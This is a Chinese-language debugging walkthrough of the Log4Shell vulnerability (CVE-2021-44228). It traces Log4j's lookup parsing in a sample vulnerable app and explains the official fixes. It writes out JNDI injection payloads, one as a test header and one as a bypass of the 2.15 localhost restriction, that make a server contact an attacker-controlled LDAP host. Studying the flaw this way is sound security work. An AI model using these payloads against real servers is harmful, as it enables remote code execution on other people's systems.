Log4shell(CVE-2021-44228)调试分析

Log4shell(CVE-2021-44228)调试分析

漏洞背景

Log4j是一个应用广泛的Java日志库,为了方便开发者规定日志的格式,Log4j提供了一个能够直接通过传入记录函数的字符串来格式化日志的功能。该功能除了支持一些常见的功能(如获取时间等),还能调用到JNDI协议。JNDI协议本身是为了方便程序员在不用关注一个对象的具体位置而能获取一个数据或者对象的功能,它本身是为了方便程序员,但也易被攻击者利用,造成JNDI注入或者反序列化攻击。

环境安装

  • 选择Log4Shell sample vulnerable application进行环境构建。为了能够远程调试,将docker中的jar中的lib引入到本地项目中。docker run -p 10086:8080 -p 10087:8000 --name vulnerable-app --rm vulnerable-app
  • 该项目通过spring-boot-starter-log4j2:2.6.1引入包含漏洞的Log4j 2.14.1

漏洞触发

项目中的关键代码如下(MainController.java):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}

在http header中加入:

1
X-Api-Version: ${jndi:ldap://xxxx.ceye.io}

漏洞跟踪过程

首先通过LogManager.getLogger("HelloWorld")获取HelloWorld的Logger,记录的信息中可以直接触发JNDI导致的反序列化

1
logger.info("Received a request for API version " + apiVersion);
1
2
3
public void info(final String message) {
this.logIfEnabled(FQCN, Level.INFO, (Marker)null, (String)message, (Throwable)((Throwable)null));
}

需要满足this.isEnabled(level, marker, message, throwable)

1
2
3
4
5
6
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
if (this.isEnabled(level, marker, message, throwable)) {
this.logMessage(fqcn, level, marker, message, throwable);
}
}

先不去跟这个条件,直接跟到logMessage

1
2
3
protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
this.logMessageSafely(fqcn, level, marker, this.messageFactory.newMessage(message), throwable);
}

经过一系列跟踪,在callAppenders中的n层会执行format方法:

1
2
3
for(int i = 0; i < len; ++i) {
this.formatters[i].format(event, buffer);
}

其中会遍历处理各种情况的formatter,当遇到JNDI字符串时,会进入org\apache\logging\log4j\core\pattern\MessagePatternConverter.class

1
2
3
4
5
6
7
8
9
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {//注意这里,很明显能看到${}语句的解析
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));//这里的replace方法中包含对JNDI的匹配以及处理
}
}
}

跟进去,跟到org\apache\logging\log4j\core\lookup\StrSubstitutor.class中的substitute()的361行的this.substitute(event, bufName, 0, bufName.length())(很明显这是一个递归解析的过程,如果这里匹配出的内容还嵌套了合法的语句,则会进一步解析):

1
2
3
4
5
6
7
8
9
10
} else {
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
StringBuilder bufName = new StringBuilder(varNameExpr);
this.substitute(event, bufName, 0, bufName.length());//执行到这里时,语法解析已经成功把JNDI协议请求的地址匹配出来,跟进这里
varNameExpr = bufName.toString();
}
pos += endMatchLen;

解析出需要发起JNDI请求的地址时,就会进入如下流程(418行):

1
2
3
4
5
6
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);//会在此处发起请求,跟进去
if (varValue == null) {
varValue = varDefaultValue;
}

然后会根据传入resolveVariable的参数获取相应的lookup,这里的resolver包含多种协议:{date, ctx, lower, upper, main, env, sys, sd, java, marker, jndi, jvmrunargs, event, bundle, map, log4j}

1
2
3
4
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();//此处会获取多种协议
return resolver == null ? null : resolver.lookup(event, variableName);//进行lookup
}

然后进入org\apache\logging\log4j\core\lookup\Interpolator.class,跟到190行,此处会根据prefix字符串找到对应的lookup,之后就会执行lookup:

1
2
3
4
5
6
7
8
9
10
11
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);//这里会根据prefix找到相应协议的lookup
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);//再跟入这里
}

最后进入org\apache\logging\log4j\core\lookup\JndiLookup.class发起JNDI请求(42行):

1
2
3
try {
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
}

到这里整个流程分析完毕。

总结

  • 整个跟洞过程实际上就是对Log4j的format解析过程进行理解和跟踪,理解了如何递归地处理待记录信息中的语法问题等过程,就能够理解Log4shell。

根本原因和官方修复手段

  • Log4j 2的日志格式化功能提供了一系列lookup的功能,支持${}语法,能够方便地获取系统信息等(可见Configuration以及 Lookups 。这些功能中包括一个Jndi Lookup的功能,该功能能够通过日志调用Jndi,是漏洞的关键,造成攻击者能够以${jndi:ldap://xxx.xxx/x}的形式调用JNDI。
  • 官方给出的临时解决方法:直接删除Jndi类: > Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 修复1(对于2.10<=,<2.15的版本):增加了默认设置不使用lookup功能,但这种情况仅适用于直接使用形如logger.info(Untrusted_message)的形式,而有的开发者需要获取和记录诸如User-agent的信息,此时必须执行变量的put操作并对log4j的模板(log4j2.properties文件中的设置)进行渲染,仍然会导致lookup的发生。
  • 修复2(2.15版本):Restrict LDAP access via JNDI (#608),该修复中增加了默认设置不使用lookup功能(与修复1相同)。此外还限制了LDAP的目标服务器(仅支持127的ip)和可用的类,并且对JNDI的可用协议进行了限制。但是由于对127的检测有可以绕过的方法,使用诸如${jndi:ldap://127.0.0.1#a.attacker.com/a}形式的payload便可以绕过(该地址虽然不合法,但攻击者可以在自己的DNS中加入该域名,同样会执行成功)
  • 在最新版中,该功能仅支持java:和无协议,不支持LDAP协议

参考资料